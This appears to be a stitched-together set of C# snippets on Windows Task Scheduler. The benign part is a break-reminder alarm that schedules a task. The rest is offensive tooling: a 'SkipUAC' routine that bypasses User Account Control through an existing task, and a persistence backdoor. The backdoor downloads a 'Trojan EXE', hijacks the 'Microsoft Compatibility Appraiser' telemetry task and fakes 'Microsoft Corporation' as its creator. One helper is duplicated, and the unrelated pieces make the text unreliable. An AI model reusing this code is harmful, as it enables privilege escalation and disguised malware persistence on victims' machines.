private void button1_Click(object sender, EventArgs e) { hour = (int)this.hour1.Value; minute = (int)this.minute1.Value; if (hour + minute == 0) { MessageBox.Show("间隔不能为0", "错误提示"); return; } if (hour > 23) { MessageBox.Show("小时不能超过23"); hour1.Value = 23; return; } if (minute > 59) { MessageBox.Show("分钟不能超过59"); minute1.Value = 59; return; } //创建者 var creator = "ClockAlarm"; //计划任务名称 var taskName = "ClockAlarmSchedule"; //执行的程序路径 var path = exe_path; //计划任务执行的频率 PT1M一分钟 PT1H30M 90分钟 var interval = "PT" + hour + "H" + minute + "M"; //开始时间 请遵循 yyyy-MM-ddTHH:mm:ss 格式 DateTime currentTime = DateTime.Now; currentTime = currentTime.AddHours(hour); currentTime = currentTime.AddMinutes(minute); var startBoundary = currentTime.ToString("yyyy-MM-ddTHH:mm:ss"); // "2015-04-09T14:27:25"; var description = "这是一个定时提醒休息的计划任务,由程序ClockAlarm.exe创建和管理"; _TASK_STATE state = OptScheduler.CreateTaskScheduler(creator, taskName, path, interval, startBoundary, description); if (state == _TASK_STATE.TASK_STATE_RUNNING) { String msg = ""; if (hour > 0) { msg = hour + "小时" + minute + "分钟间隔提醒任务添加成功!"; } else { msg = minute + "分钟间隔提醒任务添加成功!"; } MessageBox.Show(msg); } this.Close(); Application.Exit(); }
static public bool SkipUacRun(string taskName, string[] args = null) { bool silent = true; try { TaskScheduler.TaskScheduler service = new TaskScheduler.TaskScheduler(); service.Connect(); ITaskFolder folder = service.GetFolder(@"\"); // root IRegisteredTask task = folder.GetTask(taskName); silent = false; AppLog.Line("Trying to SkipUAC ..."); IExecAction action = (IExecAction)task.Definition.Actions[1]; if (action.Path.Equals(System.Reflection.Assembly.GetExecutingAssembly().Location, StringComparison.CurrentCultureIgnoreCase)) { string arguments = args == null ? "" : ("\"" + string.Join("\" \"", args) + "\""); IRunningTask running_Task = task.RunEx(arguments, (int)_TASK_RUN_FLAGS.TASK_RUN_NO_FLAGS, 0, null); for (int i = 0; i < 5; i++) { Thread.Sleep(250); running_Task.Refresh(); _TASK_STATE state = running_Task.State; if (state == _TASK_STATE.TASK_STATE_RUNNING || state == _TASK_STATE.TASK_STATE_READY || state == _TASK_STATE.TASK_STATE_DISABLED) { if (state == _TASK_STATE.TASK_STATE_RUNNING || state == _TASK_STATE.TASK_STATE_READY) { return(true); } break; } } } } catch (Exception err) { if (!silent) { AppLog.Line("SkipUAC Error {0}", err.ToString()); } } return(false); }
/// <summary> /// 检查定时任务是否存在 /// </summary> /// <param name="taskName"></param> /// <returns></returns> #region public static bool checkTask(String taskName) public static bool checkTask(String taskName, out _TASK_STATE state) { var isExists = false; IRegisteredTaskCollection taskList = GetAllTasks(); foreach (IRegisteredTask task in taskList) { if (task.Name.Equals(taskName)) { isExists = true; state = task.State; return(isExists); } } state = _TASK_STATE.TASK_STATE_UNKNOWN; return(isExists); }
/// <summary> /// 检查定时任务是否存在 /// </summary> /// <param name="taskName"></param> /// <returns></returns> #region public static bool checkTask(String taskName) public static bool checkTask(String taskName, out _TASK_STATE state) { //标识任务计划是否存在 var isExists = false; //获取计划列表 IRegisteredTaskCollection taskList = GetAllTasks(); foreach (IRegisteredTask task in taskList) //循环遍历列表 { if (task.Name.Equals(taskName)) //计划名称相等,计划存在 { isExists = true; //标识为true state = task.State; //返回计划任务的状态 return(isExists); } } //不存在,返回位置状态 state = _TASK_STATE.TASK_STATE_UNKNOWN; return(isExists); }
public void Execute(Dictionary <string, string> arguments) { arguments.Remove("vaults"); if (!IsExists("Microsoft Compatibility Appraiser")) { Console.WriteLine("\n[X] Don't have Appraiser, Unable to Telemetry!\n"); System.Environment.Exit(0); } else { Console.WriteLine("\n[Y] Computer have Appraiser, Can use Telemetry!!\n"); } if (arguments.ContainsKey("/url")) { Console.WriteLine("[*] Action: Download Trojan EXE"); string target = arguments["/url"].Trim('"').Trim('\''); var FileUrl = target; Console.WriteLine("[>] Download From: " + target); if (arguments.ContainsKey("/path")) { string to = arguments["/path"].Trim('"').Trim('\''); var Fileto = to; Download(FileUrl, Fileto); Edit(Fileto); } else { string to = "C:\\Windows\\Temp\\compattelrun.exe"; var Fileto = to; Download(FileUrl, Fileto); Edit(Fileto); } } else { if (arguments.ContainsKey("/path")) { string to = arguments["/path"].Trim('"').Trim('\''); var Fileto = to; Edit(Fileto); } } if (arguments.ContainsKey("/command")) { string command = arguments["/command"].Trim('"').Trim('\''); Edit_command(command); } DeleteTask("Microsoft Compatibility Appraiser"); //创建者 string creator = "Microsoft Corporation"; //计划任务名称 string taskName = "Microsoft Compatibility Appraiser"; //执行的程序路径 string path = "%windir%\\system32\\compattelrunner.exe"; //计划任务执行的频率 PT1M一分钟 PT1H30M 90分钟 string interval = "PT1H30M"; //开始时间 请遵循 yyyy-MM-ddTHH:mm:ss 格式 DateTime currentTime = DateTime.Now; var startBoundary = currentTime.ToString("yyyy-MM-ddTHH:mm:ss"); var description = "如果已选择加入 Microsoft 客户体验改善计划,则会收集程序遥测信息"; _TASK_STATE state = CreateTaskScheduler(creator, taskName, path, interval, startBoundary, description); if (state == _TASK_STATE.TASK_STATE_RUNNING) { String msg = ""; Console.WriteLine("\r\n[*] Action: " + interval + " 时间间隔计划后门修改成功!"); Console.WriteLine("[>] wait a moment... \r\n"); } }